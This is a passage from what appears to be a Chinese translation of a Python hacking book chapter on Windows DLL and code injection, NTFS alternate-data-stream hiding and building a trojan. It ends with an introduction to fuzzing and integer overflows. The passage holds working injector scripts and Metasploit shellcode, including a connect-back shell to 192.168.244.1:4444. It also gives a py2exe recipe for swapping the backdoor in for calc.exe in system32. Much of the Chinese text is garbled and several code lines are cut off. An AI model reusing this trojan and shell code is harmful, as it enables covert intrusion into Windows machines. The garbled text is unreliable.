JX1E Python Ik
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7 DIl FfX=2E A

BHEEHRTYVEIENER EHEEFWE, S8 Nk BaiE, FEs
RHAPITEIEEERN, XEBRA—K B AEAN, EETHIRELNE R Fi2
REMZEHIAR, FAXTED A DLL FKZFEA &M, FH41FA Python &3 &
RAEBE—EE 208 ARER. KL, exploit 45#F, shellcode FIRE )X
ML, BTITRExLaMEsmE, B DLLEATEBH#BERE2T—1EO, AR
#55E AYF shellcode ¥ A B#:i#%2, it shellcode #5E#12. EFITITFH L
Python £ — 1N ail. X AMIBARMRKENAIRLEAN, M—EE2EFKIT,
BN B ARETFR, X2FANE,



7.1 Qi K72

RIEAN 2 R EEAFRIBELERRE, BEELaANAEERS /B %2, XH
CreateRemoteThread()5ci, [E# HH kernel32.dll §H, REHITF:

HANDLE WINAPI CreateRemoteThread(
HANDLE hProcess,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId

);

X LS SHTE, ENEEZELIAFMENEMF LB, F—1SE, hProcess
TIZE S AWM B 47 #2084, IpThreadAttributes S8t 2 0 BN K IEN L L
IR, Hb W aRETAERTERHFARESEK, EXBRE G LR EMK
NULL, FREBE—DF B4 ERNEEIR, M—TEANREEBR,
dwStackSize SR T AR KRN, £ XBYE 20BN 0, RINEEBENH#TE
KA KN, T—REHEREEM : IpStartAddress, MR IEAEEHITHN
BIERERNHRNMMIE, IpParameter Ml E—PMESH—BEE, T3 RHEAMWIE —
NMEH, BR—3RNEFERXE, E%E’Jé&*&?ﬁEﬁfk %ﬁ%&ﬂ’]%
# . dwCreationFlags JRTE 7 AWM I8, XBHAIXEK 0, RANETAXECNE
BIENIT, B %itmMIN e E MSDN, &ia— 5% IpThreadld TE&FE 6 MK
NWEERAAEN ID, FETSHWER, LBNEBWNAE DLLEAZI B4
#7#8, LXK shellcode BY3E A,

A ARRCE, BEANTR, AUD TR,

7.1.1DLL EA

DLL 3 E ARTRIETRIBAIEE K. M Windows B shell 7 BEIEE 4 EIR AR, KRE
BERLEIEN, EELRLHHHSE:T T DLL SEA#FRZLL Y% M #5217 4, DLL #
2B, E ACNARESFEHFAHZTAG, MK EBrmH#iE, Fels
Bf#EN—52. X FEEEH, bilga G AEHRH (BnasRiLEE
H#REENReeR, W IE) . BETHEEFEME Python E— DLL F ABA,
2 0% DLL 3F A 38 E BT 2 72,

E—D#REBE & A DLL EE#H LoadLibrary()E% (H kernel32.dll 1) ., E#
[REI0F -

HMODULE LoadLibrary(
LPCTSTR lpFileName

);



IpFileName &% DLL BB ZE. FMNFE;LB 44 LoadLibraryA il 189
DLL, Bt LoadLibraryA ERFH BN, PASEHF DLL B8E# A, 217
{Ext 2 CreateRemoteThread(), IpStartAddress $5[E LoadLibraryA fithiit,
IpParameter #§@ DLL & %, %4 CreateRemoteThread()# TM3h, FhiR B 4r k72
H 238 LoadLibraryA i # T 4189 DLL,

DLL AR B3R5, | M http://www.nostarch.com/ghpython.htm T £,

#d1ll_injector.py
import sys
from ctypes import *
PAGE_READWRITE = 0x04
PROCESS_ALL_ACCESS = ( OxOOQFO000 | 0x00100000 | OXFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
kernel32 = windll.kernel32
pid = sys.argv[1]
dll path = sys.argv[2]
dll len = len(dll_path)
# Get a handle to the process we are injecting into.
h_process = kernel32.0penProcess( PROCESS_ALL_ACCESS, False, int(p:
if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)
# Allocate some space for the DLL path
arg_address = kernel32.VirtualAllocEx(h_process, 0, dll_len, VIRTU/
# Write the DLL path into the allocated space
written = c_int(0)
kernel32.WriteProcessMemory(h_process, arg_address, dll_path, dll_:
# We need to resolve the address for LoadLibraryA
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d1l1l")
h_loadlib = kernel32.GetProcAddress(h_kernel32, "LoadLibraryA")
# Now we try to create the remote thread, with the entry point set
# to LoadLibraryA and a pointer to the DLL path as its single parar
if not kernel32.CreateRemoteThread(h_process,
None, O,
h_loadlib, arg_address, 0,
byref(thread_id)):
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)
print "[*] Remote thread with ID 0x%08x created." % thread_id.value

j S— >

B—F, EEFH#ARERNHFRESNZE R, ATH4# DLL NEE, F=%, & DLL
R BEARFFHthit, =%, f##§ LoadLibraryA WRERME, &RE—%, F
H+7##28#% # LoadLibraryA Hhiltix 577 4% DLL BREBMAEFE L, # A
CreateRemoteThread(). —B, ZREB4EXIMKEFE#E—ITEO,

MIEFMNBEZ2MIIN5ENKT DLLEA, Bir#HEO®REXIEE, BRIt FH
M BEREAMER, FEEE,


http://www.nostarch.com/ghpython.htm

71.2 KX

EBMNBRER, BEA, Ka8F A% shellcode JF AE|—1N iz {THI# 2, 1L
Bl 17, T=EREA LB TEM 47, BEEBENS — 1312/ shell TR E 5 —1
3‘&*%0

ETERBMNTFE—1 %58 shellcode (BE& IEIETE PID M#32) SFARIB 4
2, A e EBH#1E, ANABERMERELE, IXTFHRNEAEREEQENE 2
EXEEN—S., BE#, BNIREERNAZEME % shellcode, LUEAEZH
TEBES

A LB it Metasploit B9 7 3% 54 1L ##2#7 shellcode, E 1189 shellcode &R 25IE
EIF ., MRZENEREEM, E#E7 9 hitp:/metasploit.com/shellcode/, X Rk
#1{F B Windows Execute Command shellcode &£ %25, #]EH shellcdoe 1% 7-
1.

/* win32_exec - EXITFUNC=thread CMD=taskkill /PID AAAAAAAA Size=15:

unsigned char scode[] =
"\XTfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\;
"\X41f\Xx18\x8b\x5F\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xcO\:
"\Xxac\x84\xcO\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\;
"\X75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\>
"\Xx8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xcO\x64\x8b\x40\;
"\Xx85\xcO\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\;
"\X8b\x80\xbO\Xx00\X00\Xx00\Xx8b\x68\x3c\X5F\Xx31\XxF6\Xx60\Xx56\x89\}
"\Xx83\xcO\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\;
"\Xe7\X74\x61\x73\x6b\x6b\x69\x6Cc\Xx6Cc\x20\x2F\Xx50\x49\x44\x20\>
"\Xx41\x41\x41\x41\x41\x41\x41\x00" ;

{ S— >

Listing 7-1:F Metasploit = &£ #J Process-killing shellcode

4 A shellcode BYat & e 1834 1 Restricted Characters XAHE LLE R 0x00 =F

%, FEat Encoder 1Ei% B2 ik % 55, 1E shellcode WEE—TIRERITEEM 8
Mx41, A LR 8 NMKRNMIA?EY, EEHMNEHANIETE PID(BEEH £ 120
#I2)eH xR, REIL 8 Mx41 Bl PID B aFT T, R TMAIER\X00 &
e, WIRZATEMB A {E=t shellcode #1T T 443, IEEHIX 8 ™ A%
75, BRI RIERRE, BEAEAHEEE Rt A,

RAEFK B T BESH shellcode, EuH{EBIK #1752 KB code injection T/E T,


http://metasploit.com/shellcode/

#code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE_EXECUTE_READWRITE = 0x00000040

PROCESS_ALL_ACCESS = ( OxOQ00FO000 | Ox00100000 | OXFFF )

VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv([1])

pid_to_kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
print "Code Injector: ./code_injector.py <PID to inject> <PID f

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3¢c\x8b\x7c\x05\x78\x01\xef\;
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xco\;
"\xac\x84\xcO\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\;
"\Xx75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5F\x1c\x01\;
"\x8b\x1c\x8b\x01\xeb\x89\x5¢c\x24\x04\xCc3\Xx31\XxCcO\x64\x8b\x40\>
"\x85\xcO\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\;
"\x8b\x80\XbO\X00\X00\XO00\X8b\X68\X3C\X5F\X31\XF6\X60\X56\Xx89\;
"\x83\xcO\Xx7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\;
"\xe7\x63\x6d\x64\x2e\Xx65\X78\Xx65\x20\Xx2F\Xx63\x20\X74\X61\x73\>
"\Xx6b\X69\X6C\X6C\X20\X2f\X50\Xx49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - (len( pid_to_kill ))

replace_value = pid_to_kill + ( "\x00" * padding )

replace_string= "\x41" * 4

shellcode = shellcode.replace( replace_string, replace_value )

code_size = len(shellcode)

# Get a handle to the process we are injecting into.

h_process = kernel32.0penProcess( PROCESS_ALL_ACCESS, False, int(p:

if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid

1 2




# code_injector.py

import sys

from ctypes import *

# We set the EXECUTE access mask so that our shellcode will

# execute in the memory block we have allocated

PAGE_EXECUTE_READWRITE = 0x00000040

PROCESS_ALL_ACCESS = ( OxOOQFO000 | 0x00100000 | OXFFF )

VIRTUAL_MEM = ( 0x1000 | 0x2000 )

kernel32 = windll.kernel32

pid = int(sys.argv[1])

pid_to_kill = sys.argv[2]

if not sys.argv[1] or not sys.argv[2]:
print "Code Injector: ./code_injector.py <PID to inject> <PID f
sys.exit(0)

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

shellcode = \
"\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3¢c\x8b\x7c\x05\x78\x01\xef\;
"\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xco\;
"\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\;
"\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5F\x1c\x01\;
"\x8b\x1c\x8b\x01\xeb\x89\x5¢c\x24\x04\XxCc3\Xx31\XxCcO\x64\x8b\x40\>
"\x85\xcO\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\;
"\x8b\x80\XbO\X00\X00\X00\X8b\X68\X3C\X5F\X31\XF6\X60\X56\Xx89\>
"\x83\xcO\Xx7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\;
"\xe7\x63\x6d\x64\x2e\Xx65\X78\Xx65\x20\Xx2F\X63\x20\X74\X61\X73\’
"\Xx6b\X69\X6Cc\X6C\X20\X2f\X50\Xx49\x44\x20\x41\x41\x41\x41\x00"

padding = 4 - (len( pid_to_kill ))

replace_value = pid_to_kill + ( "\x00" * padding )

replace_string= "\x41" * 4

shellcode = shellcode.replace( replace_string, replace_value )

code_size = len(shellcode)

# Get a handle to the process we are injecting into.

h_process = kernel32.0penProcess( PROCESS_ALL_ACCESS, False, int(p:

if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)

# Allocate some space for the shellcode

arg_address = kernel32.VirtualAllocEx(h_process, 0, code_size, VIR

# Write out the shellcode

written = c_int(0)

kernel32.WriteProcessMemory(h_process, arg_address, shellcode, cod¢

# Now we create the remote thread and point its entry routine

# to be head of our shellcode

thread_id = c_ulong(0)

if not kernel32.CreateRemoteThread(h_process,None, 0,arg_address, Not
print "[*] Failed to inject process-killing shellcode. Exiting
sys.exit(0)

print "[*] Remote thread created with a thread ID of: Ox%08x" % thi

print "[*] Process %s should not be running anymore!" % pid_to_kil.

1 2




FENKS RO EERBRATE, BEXEFLEEBHORIGN, £F—1, B#x
shellcode F{F 784 LR PID MFRFE, 5—MNMEABXRIMMA, sERA
CreateRemoteThread()it, IpStartAddress f8[E7FH shellcode By, M
IpParameter % &% NULL, RABEMNARERE AMEASH, BNREBEFL
F2#.1T shellcdoe,

HAREASHEMT

./code_injector.py <PID to inject> <PID to kill>

HEAGENSH, XEAEKRINE, MRREILKIE ID, BR#BHELILERE, f&
E Bl cmd.exe #RBtHERT,

MIEIREDE T a0 M 5 — P #2088 #0417 shellcdoe, MIEAR1EFE shell H{E
T, REEEHEARET, RAREEARsHAEEL L, BETEIERMMEN
HEEX, B — MGG, Bl Lamatix, FeeHk BaiZ iy o8y
AR

FATBEE 3 ? BE !



7.2 BT

RIELEBNAZTZURANERN, BEFARREFMATE, BReE—1TEI1E
F, MemiA—1NRaEPENNER (b0 calcexe) . RERA #ITT
calc.exe, FABE]

FLEER S RAMIREI4, cacl.exe #iTRHR, MEENITHRIIRKBHNEN, HITRE
B calc.exe (ZEBIFAIBIE 1M AK calc.exe, fFEREM cacl.exe B E 5|yt
7)) . % caclexe #iTHR, BitEA, KRE— shell BIFEMBINEE L, REFHM
BEA Kl X8, *3EaimEiTHE F.

E—Z | FMEETFEEELE calc.exe 5 ? g athi, AL, HELRIEH#EGTF
Bl E2— B RxaE R, i, {ReE@ M8, M 2B EMH AR
BB #E, R EE 20 A%, EMBEE, Bl Lt—ZFIENEARR, EEFE
FEH#TE, RAFLE— T, tBREENEREEMN,

EHNZEESNBUWMEE Python BIAR %3 — 1 2489 Windows B #1734, LA
X0 a4y 89N % DLL, T REB BN DLL raimit Rk,

7.2.1 X ra i

BRI DLLER, A TESERER, BRA—EMBENAENECEE
X, FeEy Aimgrds, MHENXE (EHEFEFH 80 DLL) Ay, iz WE
ARE Python Hacer, SR B R A~ —# T,

OS MERNZHFHNE R, NTFS AHEM TRSERM MG, SKEMR

F3 alternate data streams (ADS), M Windows NT 3.1 FFIAFAE 7 X Fif K, BH
=4 THMZER B4 Apple heirarchical file system (HFS)# 1718, ADS foi4HE
# ER—D0, 88495 I DLL R ERURA, AEHMEIE#EHIT. R

REHRAI S, B2 RE 9 MM INEE RI1ERE & LREBFEIBIE,

AR, TRERNIEZEF LN, BRIRELRETEH R TeERIF
B942 8 ADS, A LAR tEkEE 2 IF BB,

FE—X4 EER ADS, Rig%, REAEXGREMMNEIS, EHR EZMErE
s B3

reverser.exe:vncdll.dll

£ X B F A 47/ vnedll. dil fE 50 2 reverserexe ., TEE N &G %
B Bl K file_hider.py, FiZHBNxECEREE AEE R ADS,



#file _hider.py import sys

# Read in the DLL

fd = open( sys.argv[1], "rb" )

dll_contents = fd.read()

fd.close()

print "[*] Filesize: %d" % len( dll contents )

# Now write it out to the ADS

fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1l] ), "wb" )
fd.write( dll_contents )

fd.close()

RE%2, FB—THARNSHEEE2HNE RN DLL, STSHHMEE XM, AR
N IEHMEBESRAFEN, BaEARNAR, BHMNOXENEsXXUEEE
—it,

7.2.2 %EG1]

IEBRMHEBBEMNEERARS, REGENEHIEERFTNREFMIT T, 2
AT EEM, ERABANEETHEFRR A calc.exe T ik FEER calc.exe #
HET HBHE, HA L ARMITHESRNE, RET2ENRTTHRMINE
i, BNEFEIEERNRSE, Bx#ELEMNTESR. A 257 EE AN 24
7, RKIBEENFER+ESR. TEMNHAS BTEHE=ZEM
my_debugger_defines.py, HHEBE T o E#EFAFENLEHTEE.



#backdoor . py
# This library is from Chapter 3 and contains all
# the necessary defines for process creation
import sys
from ctypes import *
from my_debugger_defines import *
kernel32 = windll.kernel32
PAGE_EXECUTE_READWRITE = 0x00000040
PROCESS_ALL_ACCESS = ( OxOQ0OFO000 | Ox00100000 | OXFFF )
VIRTUAL_MEM = ( 0x1000 | 0x2000 )
# This is the original executable
path_to_exe = "C:\\calc.exe"
startupinfo = STARTUPINFO()
process_information = PROCESS_INFORMATION()
creation_flags = CREATE_NEW_CONSOLE
startupinfo.dwFlags = 0x1
startupinfo.wShowWindow = 0x0
startupinfo.cb = sizeof(startupinfo)
# First things first, fire up that second process
# and store its PID so that we can do our injection
kernel32.CreateProcessA(path_to_exe,
None, None, None, None,
creation_flags, None,
None, byref(startupinfo),
byref(process_information))
pid = process_information.dwProcessId

—HREE, BAEFKS, BTIRLEMNEEANKLSMBGETH. FBMOBFEAR
EE 9% REBAAFE AN DLL 3 EA AMIEN ; parameter 17755 E4 1, data T =
28 DLL }87%®, FABE#1T DLLIEA, FABERT parameter 2 &K 0, FLEflss
EA. IREMERTE.,



#backdoor . py

def inject( pid, data, parameter = 0 ):

# Get a handle to the process we are injecting into.

h_process = kernel32.0penProcess( PROCESS_ALL_ACCESS, False, it

if not h_process:
print "[*] Couldn't acquire a handle to PID: %s" % pid
sys.exit(0)

arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data),

written = c_int(0)

kernel32.WriteProcessMemory(h_process, arg_address, data, len(

thread_id = c_ulong(0)

if not parameter:
start_address = arg_address

else:
h_kernel32 = kernel32.GetModuleHandleA("kernel32.d11")
start_address = kernel32.GetProcAddress(h_kernel32, "LoadLil
parameter = arg_address

if not kernel32.CreateRemoteThread(h_process,None, 0,start_addi
print "[*] Failed to inject the DLL. Exiting."
sys.exit(0)

return True

{ S— >

REHBNE TESFAMIEANNKD, RN HAEAEBD shellcode JF AEIE
B cacl.exe #FE 7T, — shellcode 3% shell &4F11, B—T#EI]#HIE




#backdoor . py

# Now we have to climb out of the process we are in

# and code inject our new process to kill ourselves

#/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444

#Size=287 Encoder=None http://metasploit.com */

connect_back_shellcode =
"\Xxfc\x6a\xeb\x4d\xe8\xFO\XFfF\XFF\XfFf\x60\x8b\x6c\x24\x24\x8b\>
"\Xx3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5F\x20\x01\xeb\;
"\Xx8b\x34\x8b\x01\xee\x31\xcO\x99\xac\x84\xcO\x74\x07\xc1\xca\;
"\X01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\;
"\Xx8b\x0c\x4b\x8b\x5F\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\;
"\XCc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\;
"\Xx08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\;
"\X68\X77\X73\x32\Xx5F\x54\xfF\xd0\x68\xcb\xed\xfc\x3b\x50\xff\;
"\X5F\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xdO\x68\xd9o\;
"\XF5\xad\x57\xFf\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xdo\;
"\XcO\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\;
"\Xaa\x60\x57\xFf\xd6\x6a\x10\x51\x55\XxFFfAxdO\x66\x6a\x64\x66\>
"\Xx63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xco\;
"\Xxaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\;
"\X68\Xx72\xfe\xb3\x16\xFf\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\;
"\Xx6a\Xx01\x51\x51\x55\x51\xfF\xd0\x68\xad\xd9\x05\xce\x53\xff\;
"\XB6a\XTF\XTFF\X37\XFF\xdO\x68\xe7\Xx79\XCcB6\X7I\XTFF\X75\x04\xff\>
"\XTFFAX77\Xfc\xFf\xdo\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xdo"

inject( pid, connect_back_shellcode )

#/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA

#Size=159 Encoder=None http://metasploit.com */

our_pid = str( kernel32.GetCurrentProcessId() )

process_killer_shellcode = \
"\XFc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\;
"\X41F\Xx18\x8b\x5F\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xcO\;
"\xac\x84\xcO\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\;
"\X75\xe5\x8b\x5f\x24\x01\xeb\x66\Xx8b\x0c\x4b\x8b\x5F\x1c\x01\>
"\X8b\Xx1c\x8b\x01\xeb\x89\x5c\x24\x04\XC3\Xx31\XcO\Xx64\x8b\x40\>
"\X85\XCcO\X78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\>
"\X8b\X80\XbO\XO0\XO00\XO0\X8b\X68\X3Cc\X5F\X31\XTF6\X60\X56\Xx89\’
"\X83\XcO\X7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\;
"\xe7\x63\x6d\x64\x2e\x65\X78\X65\X20\X2F\X63\X20\X74\X61\X73\>
"\X6b\X69\X6C\X6C\X20\X2F\X50\X49\Xx44\X20\X41\Xx41\Xx41\x41\x00"

padding = 4 - ( len( our_pid ) )

replace_value = our_pid + ( "\x00" * padding )

replace_string= "\x41" * 4

process_killer_shellcode = process_killer_shellcode.replace( replac

# Pop the process killing shellcode in

inject( our_pid, process_killer_shellcode )

j E— s

All right!j5 11 278 i+ B33 (R 4M cacl.exe B MBIFE LE) PID, &
shellcode SEAZRI#TEE, ARFEBiTFE ) shellcode BE T . 2 MNENIEETHE
ZARENTE A, B REEZEBHRATEANEITTHES (HAIRBES UK 389k %




BRI, BERE EF) , FAIFLEES ISV AREEFIm. BETRBL AT
%, RIFIEG, TAMRETH, BETFT BN EREXRNERRAT —R, T28
B EEE T Python, 144 ARH Linux I8 ? IR X # 4+ FHB A AR X
AT, 1B 330, 4B pyexe, BHREIE py X% AR exe XI5,

7.2.3 py2exe

py2exe =—NIEEHER Python &, BE9%IE Python B A 4% 3 BT IMIIHY
Windows #{TF. 28T FTEMIZEESZEE T Windows 5, Linux FENE
Python, py2exe & #5ERkfa, RELBESEMIARFERMMN T, EXZAILEEA
el

#setup.py

# Backdoor builder

from distutils.core import setup

import py2exe

setup(
console=['backdoor.py'],
options = {'py2exe':{'bundle_files':1}},
zipfile = None,

BIF R 2, FmBEEHMNEA setup BIEE, F—1, console BHM1E%52H
Python BIA, options I zipfile 8% & 4 FE$T 28 Python DLL FIFFA 5| BIK
BEVE, XA MG RVBETEER B %% python B windlws R4 EFER T,
& my_debugger_defines.py, backdoor.py, #1 setup.py XHEHERNE % T. 1
RIT N MALUTRS, %z,

python setup.py py2exe

EprEME, AR TREHNSHANE R, dist 7 build, 7E dist 30 & FATLL
# % backdoor.exe, EfpE % calc.exe # N EB#R4L, FRHB#HRLAN calc.exe
M C:\WINDOWS\system32\ 3% 1 2| |89 B % (LL40 C:\ folder), 31189 calc.exe
S 52 C:\WINDOWS\system32\ B & o AAEHM BFE—TH £ shell #

O, FAEMKR#EERD shell 3XZEH, %&Efw, EWLR.



#backdoor_shell.py

import socket

import sys

host = "192.168.244.1"

port = 4444

server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )
#backdoor_shell.py

import socket

import sys

host = "192.168.244.1"

port = 4444

server = socket.socket( socket.AF_INET, socket.SOCK_STREAM )
server.bind( ( host, port ) )

server.listen( 5 )

print "[*] Server bound to %s:%d" % ( host , port )

X~ NIEETL YA socket [R%28, X EEZ— 1N, AELRE—LEEHB

BT {5, IReILUETR host #l port ¥ BCEENSEL (Lkwl 53, 80) ., SkizfT
IR %23t Tim 0 K0T, REELEMNRE(ENHBIT)EE T cacl.exe, IREEE#
HTHERNED, Bt fRE Python shell BR 423 B SR E— 58, FFiAi:E
AR, A TITHT recv B3R, 518 T CTRL-C 4, ARERERFIERMHADS, X5t

IZFAEEMIEZEIE T, Lbtn{ER Windows shell RER 44, bl dir, cd,

type. BN SHMH L REEES A HOIE, AEMBET — MBI, BIR
HERAOyTBE, LeBRy, Leield BEHNAFNHRME, Bredk. BMNNE
FERAERR, REER, A Python WIFXAFLE, R%E, #F%, TEHR,

LIRETZE, FE4LFRT DLLAMKSEA X AaMIEEFANK K. BSENS
ZE X EPFRAILER, FRLAAECEXERELNFNZEAEN, BTRENE
FTIREER, BNEARBREDWNMAEFRER, A Python, A Python-based fuzzer,
BffE & XHFRIE,



8 FUZZING

Fuzzing —BLURER N #RiEH, RAEATEIFRES N FHERERE.
% 2/, Fuzzing LR B#ERF % EEEESEFBHEIELUS £ 42, X—
T, EBRMNETHRIL ATE £ BM fuzzer 28 bug, 2EFHIMZEBCHFER
w— " file fuzzer, T—%F, =iEmBIN 4 Sulley fuzzing EZRFN AN & i+ — 14+
xt Windows 3g # Y fuzzer,

fuzzers A L9 2 K% : generation (=4) #1 mutation (T&) .
Generation fuzzers ¢l E2#E, AE % EEIZE+# R, mutation fuzzers FH 4]
BEE, MEsnEFERN BUE AEEREE. 21067, HYBNE fuzz —
™ web AR 423898t 1%, generation fuzzer 4 —E % U9 Hitp i3 KR £ %%
web AR %28, T mutation fuzzer &3 Http 53K, 7Ei5 K4 web IR %2381
BRE .

A THERBMNEAE—IDENY fuzzer, BAMBELTRE % BB bug H—1N G
B0 T, FEEE fuzzer AL %L 11, MREBRE FmM T B ERZ24M,
AUETERN S,



8.1 Bug M43 %

2 hacker & ¥ [A T2 F 2Tk HRANHE, % EREIEEHREFEHITH
bug, Fuzzer MiRHE T —F B LM AXEBIF 13k bug, AEH# TR
W, R’AMRR, HEHDERFFINER, THErEFEERAEMIIE TS
E,E,JFIZERK‘éﬁHfﬂZIKE’\JITAI% BF, EXBEENXENZMIIETHH#E, DREM
ﬂI::Iﬁ i %IL‘AO

8.1.1 & X ;aH

ZHAXKRHERE NLNLKHRE. MENEENRNEFEERY, FRH2ERADEE
HIZZEARTEAE > £ AKIRHIRRE, BUE&MEHE.

AmEE, aAKEHRMERT, BT SNBEF4E—TIIHREZERE,
Bl % Bak 42, 3 THERENATUAMNRE KRBt 4R, NR—DKE,
REEE—mM4 89K, JNRFAIUBEKIELINCHIK, EER—Ne, BKEE
w7, At EE, —tIEMESN. NRFEAFARMEEK, BKREH
Btk £, Eletx, RELRAIE RMERLREFT. AERGELHE—#8, WRKZ
BIK (8#E) , BIAZI—NE (buffer) A, KEKRIGHEE AR

(memory) £, H—PHEHRESIEH LS RNBEAAFREN BE, AERD
SERBHIHIITRIR, #—FTRIBBRAEERHEMHINE, EAMEEN 24X
il BT ARNMETHRN, aMatiRartE, BENLREE  KEER
% R ARINIT,

RiEHNRFRMEREHBRL, FEHREFNIITRIE « Ll T RMeE
4, TENE, REREREF, HEBZHHEDLROMIE, ATUSERZHHITI
R, #oatpyet 1%, SPH—Tir 9 &0 5 XAEFNBEES 1E fuzzing BUsHRIER
A EBRERRIE A,

B RRFEETHER ) SHHRF—hAFXE, SEXEREH, HE—Hh—
BN, f&#FH4TEE. SNEENRBEEED B C RIS 58
HRaHE, HIRERMLET., EERGERBEIBERIREN T EAF#4EHE LW
1@ T8, WEEH, RETSHE, URSMWEENRE, HEHR 4RI EIARER
2, BAWMZ-ANRFR, —R FTEBEFILENG Y, FEFIEFERZAN
KA AT EITEF R, SARMEY E—BEN i, & fuzzing BIsHEHEL
A—BEF N af 2 ETFRNE, xDHEREEEEKIT

MICROSOFT GLOBAL FLAGS

AR R %17 A % AMEFF % & (or exploit writer) % 7% i+ 85, Gflags(Global flags £
B &)e—RIMSETFIAX X E, BE% i LIRIEBRMAERER, o &, A&k
4. 7£ 2000, xp #2003 L#REE 4% A X IR,

ZAR AR RBBOIMSETH R @R, HFHANE— D22 LT X D R ATeE
&, BiBdzh ANBERFIERF, SHEAFEHNHEFNEN. TEEETASX
NRERE, © RGEMRE & EHRIZ > £— DX, IHARBARE



FEAEHENET L, IRETENAEXFIBE T HHEXE bug BRI N1RLEE
AR E HENIR K T

18295 fF F gflags.exe 3k 4 48 Gflags 47 S 85 BI B A ERERHESR H
http://www.microsoft.com/downloads/details.aspx?Familyld=49AE8576-9BB9-
4126-9761-BA80 Xk 42 Microsoft "# % "IRHEHY, 5" HUD"&E%,

Immunity it 7 —1 Gflags &, HEKEH PyCommand £ &7&E T —iE. B
BIfE B7 19 http://debugger.immunityinc.com/.

# T8t fuzzing iR BAER, RN E ENEELERFRENKIE, ABRER
2F, HZEMATEMNEARBENRS, RARHHTCREERLEHIEKERN,my
god!

BETREEFE ST B AN AEFERE, Integer Overflows BHURH.

8.1.2 Integer Overflows

BHAHE—MIEEEBNRE, SEEFNAILIE (4ikitr i) BTS2
#0 exploit AR X NEH, —1MNERFSEH, A2/ FEH AR, RRESEEAM
-32767 F| 32767, HImAIMZRAF#— BRI AEAB HXNHNEFH
R, BHECRETA 2 T, BAGFINNEERAKR, LERSEmHNESUZHEN
FHER, YERE, FEE a8 EMN, TEERNE D& HFIEIF

MOV EAX, [ESP + 0x8]
LEA EDI, [EAX + 0x24]
PUSH EDI

CALL msvcrt.malloc

B—XIe S A RMNEE[esp+0x8]E 4 EAX, FHIES, I EAX IiL 0x24 ix
N W F 44 7E EDI AR, ZEBHATEX MM —HSE(R i REN RN E AR
malloc, —t)E EREABERE, EMEXHD ?BREATPHBIER—NERFSE
